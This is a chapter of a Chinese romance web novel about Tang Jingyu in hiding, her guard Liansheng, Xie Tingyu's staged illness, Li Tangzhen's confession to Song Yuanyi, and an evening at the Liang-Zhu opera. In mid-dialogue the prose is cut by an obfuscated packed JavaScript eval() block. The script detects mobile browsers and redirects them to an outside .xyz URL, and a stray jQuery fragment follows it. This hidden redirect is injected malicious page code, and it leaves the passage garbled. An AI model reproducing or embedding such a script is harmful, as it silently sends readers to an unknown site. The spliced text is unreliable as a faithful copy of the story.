莲生差点跟丢棠惊雨。
对方这易容化形的技艺实在精妙,穿过一条长廊就变成了出街采买的丫鬟模样,混在枕鸳楼的丫鬟堆里,真是火眼金睛也难分辨。
连续翻错三间厢房,莲生终于在第四间更为隐秘的厢房里,瞧见窗边梳妆桌一侧摆着一只素烧细颈瓶,瓶中只有一朵含苞待放形态的枯荷,荷尖插着一小株两三朵紫色的野豌豆花。
如此野趣,必定是她。
莲生悄无声息地跳进屋。
她正在打量屋内四周环境时,披着一件鹤氅松散着长发的棠惊雨从四面曲屏后走出来。
见了莲生略感惊讶,棠惊雨扯着鹤氅的两侧交叠裹在胸前,抱着手臂走到红木摇椅前,曲腿躺好后,才开口问道:“怎么发现我的?”
她自觉与四周融合得浑然一体。
莲生答:“茶馆议论时,只有一位农妇奇怪地红了眼眶。”
“啧。”棠惊雨懊恼地捂住额头,“那你这是——”
“跟在姑娘身边,誓死保护你。”
“你是认真的?”
“是。对于姑娘,主人只对我下过一个命令:就是让我保护好你。主人予我有再造之恩,我得报恩。”
“说的真是冠冕堂皇。”棠惊雨好笑地看向莲生,“你是他的人,我不相信你。”
“我也是你的人。”莲生站在半开的窗前,秋风吹动她的发尾,阳光拉长她的身影,“你们之间的爱恨,我就跟看戏台上那些扮唱走戏的角儿一样,怎么也看不懂。但我清楚,芦雪庵的日子,我也很喜欢。”
“我希望姑娘的每一天都能跟在芦雪庵时似的,自在快乐。”莲生说着,在棠惊雨面前露出一个温暖的笑容,“我觉得主人肯定也是这么想的。所以我瞒着不报,不算背叛他。”
棠惊雨静静地看着站在秋日阳光的莲生,过了一会儿,才转过头看向墙面上悬挂着一副牡丹图,感慨道:“他将你教的,倒是好。”
莲生立即接话:“姑娘将主人教的,那才叫好。”
奇妙的一番对话。
棠惊雨轻叹一声,放松身体,完全躺倒在红木摇椅里,有一下没一下地轻轻摇着。
“随便你吧。”棠惊雨如是说。
得此准许,莲生走到圆桌前卸下腰间的短刀,自己给自己倒了一杯水喝。
水已经凉了。
她喝完,先起身去找炭,接着用火折子点燃红泥炉的黑炭,打算再烧一壶热水。
棠惊雨看着,最终还是没忍住,开口询问莲生关于谢庭钰的近况。
“并非谣传。”莲生拿着一柄小蒲扇轻轻扇着炉子里的炭火,“主人身上除了刀伤还中了毒。吐血是真,半只脚踏进鬼门关也是真。那些跟主人有仇的人,都想借着这个机会让他去死,前来暗杀的刺客一波接一波。”
棠惊雨稍稍坐起来,目光紧紧盯着一脸平淡的莲生:“他要死了,你一点都不伤心?”
“人总是要死的。”莲生往红泥炉里添了一块黑炭,“要伤心,也轮不到我。”
是啊。围绕在少卿大人身边的人有这么多,就是要伤心,也得排好长的队才能领到一个伤心的资格。
棠惊雨慢慢躺回去。
从他人口中听说谢庭钰要死了,和从莲生口中得知他要死了,原来是完全不一样的感受。
棠惊雨怔怔地,不知为何先是头皮发麻,而后是四肢,最后是周身发麻。一阵一阵,像是不小心吃了麻药一样,意识还清醒着,身体却难以动弹。
她咬了一下舌尖,清晰的疼痛让身体稍稍苏醒。
她撑着力气翻过身,拉起搭在腿上的羊毛毯,将自己裹着严严实实,然后听到身后的莲生跟说晚膳要吃什么一样稀松平常地问:“姑娘,我们要去送主人最后一程吗?”
“……不用了。要送,也轮不到我送。”
她闭上眼深吸一口气,两行清泪顺着眼角流到鬓发里。
与此同时——
黎堂真看了看正堂空地上正在撒黄色纸钱做法事的一群人,穿过长廊,通过重重把守,来到谢庭钰的面前。
“老大,那边做的是什么法事?”黎堂真指了指身后。
“哦,跟上天借命的法事。”
黎堂真“噗嗤”一下笑出声。“真行。越演越真了。”
谢庭钰自动忽略他的话,问他那些案子都查得怎么样了。
黎堂真将手里的箱子搁到一边打开,把里面的卷宗端出来放到长案上。
二人聊了一个时辰。
黎堂真大口喝完一碗热茶,随即说:“上面说让你再‘病重’一些时日。”
谢庭钰风轻云淡地点了一下头。
黎堂真的目光忽然落在长案一侧的镂空松梅紫檀木桌屏上。
向来是当局者迷,旁观者清。
结合这段时间的种种,黎堂真恍然大悟:“原来谢府失窃不仅仅是一个幌子,而是棠姑娘不见了。”
谢庭钰长叹一声:“怎么人人都猜的中。”
——因为心事太明显,因为眉间愁绪太浓重,因为一直在身边的人骤然消失。
黎堂真莫名生气起来:“老大,若你心中只有棠姑娘,何故招惹元仪?你受伤的这一阵,她时常为你感到伤心。”
谢庭钰的左手手掌里握着桃木无事牌,大拇指指腹习惯性地摩挲着,闻言看向黎堂真,直言道:“你喜欢宋小姐,是不是?”
“我——”黎堂真低头避开他的目光,“我们只是一起长大的朋友。”
“堂真,去告诉对方你的真心。不然……”谢庭钰垂眸看向手中的木牌,“会后悔的。”
黎堂真心事重重地离开。
当晚他便悄悄翻墙去了宋元仪的院子。
宋元仪正神思恍惚地在宣纸上涂涂写写,过了好一阵,目光聚焦到眼前的人身上,吓得一下扔掉手中的毫笔,拍着胸口站起来。
正要说话,又左右看了看,她才压低声音说:“堂真,你什么时候过来的?吓死我了。”
“你别再喜欢我老大了,他的心里只有棠姑娘。”
“你胡说。那他为什么舍命去救贾文萱?”
“彼时去搜救文萱的除了大理寺的人,还有殿前司的人。舍命相救,更多的是因为公门的职责在身。那天换作是我,也会这么做的。”
“那又如何?他曾经跟贾小姐说过,不会只喜欢一个人的。”
“当时的他,或许还没有认清自己的心罢了。他只会喜欢棠姑娘一个人的。——谢府失窃一事,你可听说?”
“嗯……”
“他在满城风雨地找
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776141|174730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丢失的宝贝,而‘那件宝贝’就是棠姑娘。那两句诗,也是她写的。”
宋元仪愣住,忽的一下想起一件十分久远的事情——当年的折桂宴,她和贾文萱问过谢庭钰,他腰间一直佩戴着的黑玉玉牌是何人相送。彼时,那块玉牌上,刻的就是这两句诗。
宋元仪怔怔地坐回圈椅里,红着眼圈看向黎堂真:“所以……你是来看我笑话的?”
黎堂真摇摇头,接着拿起她摔在宣纸上的毫笔,挑了宣纸的一处空白位置,提笔写下:山有木兮木有枝,心悦君兮君不知。
“我是来告诉你——我的真心。”
他搁下笔,调转宣纸的方向,在宋元仪探头去看时,望着她说道:“元仪,我喜欢你。”
宋元仪惊愕地看着黎堂真。
今夜明月不圆,但情意圆满了。
*
东梨戏班原定的离京日期因为玉京戒严一事而推迟。
反倒成了玉京城内一件难得的喜事。
琼影目光独到,抢先花下重金,邀戏班班长与天香酒楼的掌柜签下演出契约。
天香酒楼日日客似云来,伙计们招呼的身影就没有歇下来过,白花花的银子跟流水一样进账。
这阵子,几位掌柜的得知东家命不久矣,一边伤心难过,另一边还得摆出笑脸迎客。
对比进账越来越多的银钱和白绸越挂越多的谢府,他们是悲喜交加,哭来又笑,笑来又哭。
日子还得接着往下过。
莲生花了五倍的价钱,从一对夫妻手中买了两张戏票。
“我想知道这出戏我能不能看懂。”莲生将其中一张递到低头制香的棠惊雨面前,“姑娘陪我去看看罢。”
去的时候,棠惊雨将二人扮成寻常邻居相约来看戏的一对姊妹。
一文一武,正正合适,没人怀疑。
铜锣连敲三声,人声鼎沸的酒楼渐渐安静,乐声响起,生净旦末丑咿咿呀呀地连接登场。
…………
祝英台:只是,你我结拜,何以为证?
梁山伯:你我求学,草桥扑蝶,因此相识,不妨就在那草桥上结拜,让那蝶儿作了证人!
…………
梁山伯:贤弟,彩鹞飞得再高,只要线儿收拢,终难随风舒展,扶摇直上。你我还是温习功课吧!
祝英台:梁兄……
梁山伯:贤弟,会考就要到了,我们还是背书吧。
梁、祝齐声背诵:死生契阔,与子成说。执子之手,与子偕老。
…………
三载同窗情如海,山伯难舍祝英台。
…………
玉蝴蝶,玉扇坠,蝴蝶本该成双对。
…………
我想你,夜拥孤衾难入眠
我想你,三餐茶饭无滋味
我想你,提起笔来把字忘
我想你,神思昏沉苦断肠
我想你……
曲折婉转且多情的一出戏,渐渐落幕。
酒楼上下是此起彼伏的哭泣声。
棠惊雨也叹然自己竟然哭湿了绸帕。
挑灯时分。
棠惊雨坐在桌灯前,提笔描绘草桥上蝴蝶双飞的场景,最后在扇面一侧写下:死生契阔,与子成说。执子之手,与子偕老。